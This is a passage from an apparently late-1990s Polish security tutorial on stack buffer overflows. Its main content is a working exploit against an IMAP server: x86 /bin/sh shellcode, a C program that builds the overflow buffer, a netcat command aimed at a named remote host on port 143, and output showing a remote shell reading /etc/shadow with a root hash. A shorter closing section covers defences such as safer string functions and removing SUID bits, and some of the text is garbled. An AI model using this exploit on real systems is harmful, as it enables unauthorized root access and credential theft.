"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh";
Standardowy shell, nie wiadomo czemu taki długi :-)
char username[1024+255];
void main(int argc, char *argv[]) {
int i,a;
long val;
if(argc>1)
a=atoi(argv[1]);
else
a=0;
strcpy(username,shell);
for(i=strlen(username);i<sizeof(username);i++)
username[i]=0x90; /* NOP */
val = 0xbffff501 + a;
Miejsce na stosie, w którym znajdzie się poczštek bufora, liczone wstępnie mniej więcej w 1/4 segmentu, liczšc od górnego adresu, jednak z możliwociš skorygowania, jeliby (???)
for(i=1024;i<strlen(username)-4;i+=4)
{
username[i+0] = val & 0x000000ff;
username[i+1] = (val & 0x0000ff00) >> 8;
username[i+2] = (val & 0x00ff0000) >> 16;
username[i+3] = (val & 0xff000000) >> 24;
}
Cały obszar bufora został w ten sposób wypełniony wskanikiem do jego poczštku, tš technikš znasz już z poprzednich przykładów
username[ sizeof(username)-1 ] = 0;
printf("%d LOGIN \"%s\" pass\n", sizeof(shell), username);
}
Przygotowana zawartoć bufora zostanie wydrukowana. Równie dobrze mogłaby zostać wyeksportowana np. jako zmienna systemowa, ale skoro autor przyjšł tego założenie, to widać tak ma być :-)
[hacker@bad nc]$ ./imap1.c
301 LOGIN "
ë;^ví1É1Ŕn_n°
_ón@in
ęÍ1ŰŘ@ÍčŔ˙˙˙/bin/sh
P
P
_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_
ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_
ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_
ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż_ő˙ż
" pass
Do wysłania bufora na adres Host zdalny, port 143 użyjemy zgodnie z sugestiš twórcy exploita, narzędzia opisanego już w poprzednich rozdziałach narzędzia czyli NetCat-a.
[hacker@bad nc]$(./imap1 0;cat)|nc IZA VCS.COM 143
* OK IZA.VCS.COM IMAP2bis Service 7.8(99) at Wed, 4 Feb 1998 05:02:27 +0100 (MET)
cat /etc/shadow
root:L7Z6gLt5gYU62:10165:-1:-1:-1:-1:-1:-1
bin:*:10165:-1:-1:-1:-1:-1:-1
daemon:*:10165:-1:-1:-1:-1:-1:-1
adm:*:10165:-1:-1:-1:-1:-1:-1
lp:*:10165:-1:-1:-1:-1:-1:-1
sync:*:10165:-1:-1:-1:-1:-1:-1
shutdown:*:10165:-1:-1:-1:-1:-1:-1
halt:*:10165:-1:-1:-1:-1:-1:-1
mail:*:10165:-1:-1:-1:-1:-1:-1
news:*:10165:-1:-1:-1:-1:-1:-1
.
.
.
˙
I mimo, że nie doczekalimy się tradycyjnego # , to zagocilismy się na zdalnym serwerze na dobre.
Przykład programu wykorzystujšcego dziurę w IMAPD, zawierajšcego w sobie zarówno sam kod rootshell-a, jak i polecenia służšce do połšczenia się z portem 143 znajduje się w pliku \Exploits\Imapd_ov.htm
Inne typy ataków "buffer overflow"
Tak, tak to jeszcze nie wszystko , a właciwie dopiero poczštek. W miarę jak pojawiajš się narzędzia do obrony przed zwykłym przepełnianiem stosu powstajš mutacje tego typu ataków, które sš jeszcze groniejsze od tradycyjnych. Można sobie wyobrazić jeszcze co najmniej cztery scenariusze dajšce rootshella, a na pewno nie jest to wszystko na co stać twórców exploitów.
Pozostaje ledzić, czy wycig między twórcami sploitów, a autorami narzędzi zabezpieczajšcych system zakończy się kiedy . Jedno jest pewne, że żadne automatyczne narzędzie nie zastšpi czujnego administratora systemu. Warto jednak omówić najważniejsze z nich:
Metody obrony:
Od razy na poczštku trzeba sobie jasno powiedzieć, że walka z rozbijaniem stosu nie jest łatwa i rzadko kiedy przynosi stuprocentowš pewnoć wygranej (załatania aktualnych i potencjalnych dziur). Próba uodpornienia swojego serwera wišże się zawsze z koniecznociš przeko
mpilowania, a nawet i zmiany kodu ródłowego wielu aplikacji, bibliotek i jšdra systemu. Można jednak wybrać jednš z dwóch strategii iLecz by były one zastšpione prze strncat(), strncpy() i fgets()
To rozwišzanie byłoby zdecydowanie najlepsze, ale spróbuj zmienić w ten sposób treć jakiego nie swojego programu i zachować przy tym nienaruszone wszystkie jego funkcje. Nic z tego jeli nie jeste jego autorem. Zresztš i on sam też nie zawsze dałby radę, szczególnie po upływie dłuższego czasu od napisania aplikacji
char napis [15];
.
.
.
napis[28]=t;
Niestety wielu programistów uważa sprawdzania zakresu tablic za czynnoć zbytecznš i może się okazać, że jeli zbyt rygorystycznie będziemy je egzekwować, to połowa programów przestanie nam chodzić :-) . Troche dokladniejsze informacje o tej metodzie znajdujš się we wspomianym juz pliku READ\ROOTSHELL\ buffer_overwrites.tar.gz
Takie narzędzia, mimo że nieznacznie obniżajš efektywnoć niektórych procesów majš przed sobš sporš przyszłoć i wydaje się, że niedługš będš stanowiły głównš linie obrony przed smasher-ami
No i na koniec czynnoć najmniej pracochłonna, za to mogšca przynieć natychmiastowy efekt. Należy przejrzeć wszystkie pliki z ustawionym bitem SUID
(dla przypomnienia - mniej więcej tak:)
i wyłšczyć go wszędzie tam, gdzie nie jest on absolutnie konieczny.
Akademia | Andrzej Dudek | Listy | Programy |